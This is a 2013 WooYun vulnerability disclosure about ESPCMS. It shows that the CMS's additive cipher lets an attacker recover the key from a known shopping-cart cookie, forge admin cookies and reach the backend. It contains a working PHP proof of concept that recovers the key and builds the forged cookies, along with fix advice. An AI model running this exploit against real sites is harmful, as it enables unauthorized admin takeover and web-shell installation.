当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(21) 关注此漏洞

缺陷编号: WooYun-2013-34014

漏洞标题: Espcms加密函数缺陷导致getshell

相关厂商: 易思ESPCMS企业网站管理系统

漏洞作者: 膜拜hym

提交时间: 2013-08-10 09:00

公开时间: 2013-11-05 09:01

漏洞类型: 设计缺陷/逻辑错误

危害等级: 高

自评Rank: 20

漏洞状态: 漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 设计缺陷/边界绕过 php源码审核

2人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-08-10: 细节已通知厂商并且等待厂商处理中
2013-08-15: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2013-10-09: 细节向核心白帽子及相关领域专家公开
2013-10-19: 细节向普通白帽子公开
2013-10-29: 细节向实习白帽子公开
2013-11-05: 细节向公众公开

简要描述:

espcms的加解密函数设计存在缺陷,可还原key并伪造cookie登陆后台getshell

详细说明:

* 程序的加解密函数存在缺陷,可以通过明文和密文逆向还原密钥

* 后台登陆处没有有效验证cookie有效性导致攻击者可以通过伪造cookie登陆后台

* 后台可以上传shell



下面一步一步来看

首先是加解密函数eccode

code 区域
function eccode($string, $operation = 'DECODE', $key = '@LFK24s224%@safS3s%1f%', $mcrype = true) {
$result = null;
if ($operation == 'ENCODE') {
for ($i = 0; $i < strlen($string); $i++) {
$char = substr($string, $i, 1);
$keychar = substr($key, ($i % strlen($key)) - 1, 1);
$char = chr(ord($char) + ord($keychar));
$result.=$char;
}
$result = base64_encode($result);
$result = str_replace(array('+', '/', '='), array('-', '_', ''), $result);
} elseif ($operation == 'DECODE') {
$data = str_replace(array('-', '_'), array('+', '/'), $string);
$mod4 = strlen($data) % 4;
if ($mod4) {
$data .= substr('====', $mod4);
}
$string = base64_decode($data);
for ($i = 0; $i < strlen($string); $i++) {
$char = substr($string, $i, 1);
$keychar = substr($key, ($i % strlen($key)) - 1, 1);
$char = chr(ord($char) - ord($keychar));
$result.=$char;
}
}
return $result;
}



可以看到密文是明文与key通过字符ascii相加最后base64编码后得到的,加密时,key由最后一位开始,依次与明文的每一位进行ascii相加,因此用密文和明文相减能得到key,有没有凯撒加密的感觉?

知道原理以后下面开始逆向key:

code 区域
function anti_eccode($encrypt, $clear) {
$result = null;
$data = str_replace(array('-', '_'), array('+', '/'), $encrypt);
$mod4 = strlen($data) % 4;
if ($mod4) {
$data .= substr('====', $mod4);
}

$string = base64_decode($data);

for ($i = 0; $i < strlen($string); $i++) {
$char = substr($string, $i, 1);
$keychar = substr($clear, $i, 1);
$char = chr(ord($char) - ord($keychar));
$result.=$char;
}

$result = substr($result, 1, strlen($result) - 1).substr($result, 0, 1);
return $result;
}



好吧,虽然现在理论上可以还原key了,但是还得找到足够长的明文和相对应的密文才可以得到完整的key,毕竟如果明文和密文都没有key长,还原得到的key也是不完整的。

在购物车结算时,程序会把当前物品的价格和折扣变成md5然后加密后放到cookie里,所以我们可以保证推算出最多32位长的key,够了,至于其他的地方不知道可不可以,我没有仔细看。

code 区域
function in_orderpay() {
parent::start_pagetemplate();

if ($this->CON['order_ismember']) {
parent::member_purview(0, $this->mlink['orderpay']);
}
$lng = (admin_LNG == 'big5') ? $this->CON['is_lancode'] : admin_LNG;
$cartid = $this->fun->eccode($this->fun->accept('ecisp_order_list', 'C'), 'DECODE', db_pscode);
$cartid = stripslashes(htmlspecialchars_decode($cartid));
$uncartid = !empty($cartid) ? unserialize($cartid) : 0;

if ($this->CON['order_ismember']) {

if (!empty($this->ec_member_username_id) && !empty($this->ec_member_username)) {

$rsMember = $this->get_member(null, $this->ec_member_username_id);
} else {

$linkURL = $this->get_link('memberlogin');
$this->callmessage($this->lng['memberloginerr'], $linkURL, $this->lng['memberlogin'], 1, $this->lng['member_regbotton'], 1, $this->mlink['reg']);
}
}

if ($uncartid && is_array($uncartid)) {
$didarray = $this->fun->key_array_name($uncartid, 'did', 'amount', '[0-9]+', '[0-9]+');
$didlist = $this->fun->format_array_text(array_keys($didarray), ',');
if (!empty($didlist)) {
$db_table = db_prefix . 'document';
$db_where = "isclass=1 AND isorder=1 AND did in($didlist) ORDER BY did DESC";
$sql = "SELECT * FROM $db_table WHERE $db_where";
$rs = $this->db->query($sql);

$productmoney = 0;
while ($rsList = $this->db->fetch_assoc($rs)) {
$amount = empty($didarray[$rsList['did']]) ? 1 : intval($didarray[$rsList['did']]);

$rsList['link'] = $this->get_link('doc', $rsList, admin_LNG);
$rsList['buylink'] = $this->get_link('buylink', $rsList, admin_LNG);
$rsList['enqlink'] = $this->get_link('enqlink', $rsList, admin_LNG);

$rsList['dellink'] = $this->get_link('buydel', $rsList, admin_LNG);
$rsList['ctitle'] = empty($rsList['color']) ? $rsList['title'] : "<font color='" . $rsList['color'] . "'>" . $rsList['title'] . "</font>";
$rsList['amount'] = $amount;

$countprice = sprintf("%01.2f", $amount * $rsList['bprice']);
$rsList['countprice'] = $countprice;

$productmoney = $productmoney + $countprice;
$array[] = $rsList;
}

$this->fun->setcookie('ecisp_order_productmoney', $this->fun->eccode($productmoney, 'ENCODE', db_pscode), 7200);
}

$this->pagetemplate->assign('moneytype', $this->CON['order_moneytype']);

$order_discount = $this->CON['order_discount'];
$discountmoney = 0;
if ($order_discount > 0) {

$discountmoney = $productmoney > 0 ? $productmoney - ($order_discount / 100) * $productmoney : 0;
}

$discount_productmoney = $productmoney - $discountmoney;

$order_integral = empty($this->CON['order_integral']) ? 1 : intval($this->CON['order_integral']);
$internum = $discount_productmoney * $order_integral;
$this->pagetemplate->assign('internum', intval($internum));

$payplug = $this->get_payplug_array();
$shipplug = $this->get_shipplug_array();

$cookiceprice = md5("$productmoney|$discount_productmoney");
$this->fun->setcookie('ecisp_order_sncode', $this->fun->eccode($cookiceprice, 'ENCODE', db_pscode));



而被加密的明文就是MD5过后的购物价格,因此可以还原最长32位的key



在经过上面的步骤还原key以后,就可以伪造cookie登陆后台了:

code 区域
$arr_purview = explode('|', $this->fun->eccode($ecisp_admininfo, 'DECODE', db_pscode));

$this->esp_powerlist = explode('|', $this->fun->eccode($esp_powerlist, 'DECODE', db_pscode));

list($esp_adminuserid, $this->esp_username, $this->esp_password, $this->esp_useragent, $esp_powerid, $esp_inputclassid, $this->esp_softurl) = $arr_purview;

$this->esp_adminuserid = intval($esp_adminuserid);
$this->esp_inputclassid = intval($esp_inputclassid);
$this->esp_powerid = intval($esp_powerid);

if ($gettype) {
if (empty($this->esp_username) || empty($this->esp_adminuserid) || md5(admin_AGENT) != $this->esp_useragent || md5(admin_ClassURL) != $this->esp_softurl) {
$condition = 0;
} else {
$condition = 1;
}
} else {
if (empty($this->esp_username) || empty($this->esp_adminuserid) || md5(admin_ClassURL) != $this->esp_softurl) {
$condition = 0;
} else {
$condition = 1;
}
}
if ($condition == 0) {

if ($this->fun->accept('archive', 'R') != 'adminuser' && $this->fun->accept('action', 'R') != 'login') {
header('location: index.php?archive=adminuser&action=login');
exit();
}
} else {

if ($condition == 1 && $this->fun->accept('point', 'R') == '' && $this->fun->accept('archive', 'R') == '' && $this->fun->accept('action', 'R') == '') {
header('location: index.php?archive=management&action=tab&loadfun=mangercenter&out=tabcenter');
exit();
}
}



需要cookie中的将esp_powerlist设为all,将ecisp_admininfo设为类似'1|hym|12345678901234567890123456789012|'.md5('Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0').'|1|management|'.md5('http://**.**.**.**/espcms/adminsoft'这样的结构,去登陆后台就可以了,此处应有掌声。

漏洞证明:

首先注册会员购物

1.jpg



折扣前和折扣后的价格都是3200,所以明文是

md5('3200|3200')='38a7a5650e6296b180c88f6592486fbf'

密文通过查看cookie中的ecisp_order_sncode得到:

ecisp_order_sncode=mHGWbpJsapiRnZhjbG6WlWtnlpxqzG6XbWlsa5ufl50

写了一个poc来还原key:

code 区域
<?php
function anti_eccode($encrypt, $clear) {
$result = null;
$data = str_replace(array('-', '_'), array('+', '/'), $encrypt);
$mod4 = strlen($data) % 4;
if ($mod4) {
$data .= substr('====', $mod4);
}

$string = base64_decode($data);

for ($i = 0; $i < strlen($string); $i++) {
$char = substr($string, $i, 1);
$keychar = substr($clear, $i, 1);
$char = chr(ord($char) - ord($keychar));
$result.=$char;
}

$result = substr($result, 1, strlen($result) - 1).substr($result, 0, 1);
return $result;
}

function eccode($string, $operation = 'DECODE', $key = '@LFK24s224%@safS3s%1f%', $mcrype = true) {
$result = null;
if ($operation == 'ENCODE') {
for ($i = 0; $i < strlen($string); $i++) {
$char = substr($string, $i, 1);
$keychar = substr($key, ($i % strlen($key)) - 1, 1);
$char = chr(ord($char) + ord($keychar));
$result.=$char;
}
$result = base64_encode($result);
$result = str_replace(array('+', '/', '='), array('-', '_', ''), $result);
} elseif ($operation == 'DECODE') {
$data = str_replace(array('-', '_'), array('+', '/'), $string);
$mod4 = strlen($data) % 4;
if ($mod4) {
$data .= substr('====', $mod4);
}
$string = base64_decode($data);
for ($i = 0; $i < strlen($string); $i++) {
$char = substr($string, $i, 1);
$keychar = substr($key, ($i % strlen($key)) - 1, 1);
$char = chr(ord($char) - ord($keychar));
$result.=$char;
}
}
return $result;
}

#明文
$clear = "38a7a5650e6296b180c88f6592486fbf";
#密文
$encrypt = "mHGWbpJsapiRnZhjbG6WlWtnlpxqzG6XbWlsa5ufl50";

#获取key
$mkey = anti_eccode($encrypt, $clear);

print "[*]maybe key is:".$mkey."\n";
#使用者自己根据判断裁剪mkey的长度获取真实的key
print "[*]input key:";

$key = trim(fgets(STDIN));

#构造cookie
$esp_powerlist = eccode('all', 'ENCODE', $key);
$ecisp_admininfo = eccode('1|hym|12345678901234567890123456789012|'.md5('Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0').'|1|management|'.md5('http://**.**.**.**/espcms/adminsoft'), 'ENCODE', $key);

print "[+]esp_powerlist=$esp_powerlist\n";
print "[+]ecisp_admininfo=$ecisp_admininfo\n";

?>



getkey.jpg



通过检查,发现后面实际是重复的,因此真正的key应该是前面的957174ca8b1384d373d2f8b4783e

key正是"957174ca8b1384d373d2f8b4783e"

然后设置cookie并登陆,浏览器要与poc中设置的浏览器一致,否则会登陆失败

setcookie.jpg



admin.jpg



进入后台后getshell的方法有很多,就不说了。

修复方案:

1.加解密函数的算法强度要增强

2.后台cookie验证处需加强

版权声明:转载请注明来源 膜拜hym@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2013-11-05 09:01

厂商回复:

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2013-08-10 09:12 | VIP ( 普通白帽子 | Rank:774 漏洞数:100 )
    0

    mark

  2. 2013-08-10 09:53 | ppt ( 路人 | Rank:11 漏洞数:2 | ) | ( 我猜出了用户名,可我没猜出密码。)
    0

    有意思

  3. 2013-08-10 16:20 | 78基佬 ( 实习白帽子 | Rank:84 漏洞数:20 | 不会日站的设计师不是好产品经理)
    0

    做代码审计的都注定孤独一生

  4. 2013-08-10 18:48 | Skull ( 实习白帽子 | Rank:95 漏洞数:33 | 菜鸟一枚。)
    0

    mark

  5. 2013-08-10 19:15 | 膜拜hym ( 路人 | Rank:15 漏洞数:2 )
    0

    @78基佬 这算是哪门子的诅咒

  6. 2014-05-06 18:21 | 廷廷 ( 路人 | Rank:0 漏洞数:1 | 有很强的好奇心,爱好广泛,求女女带走。。...)
    0

    @78基佬 你要不要这样

  7. 2015-09-01 18:19 | Elliott ( 实习白帽子 | Rank:48 漏洞数:11 | 绝逼不当程序员)
    0

    先mark一下 看了这一系列espcms漏洞系列 代码审计知识学习了不少嘿嘿~~~

登录后才能发表评论,请先 登录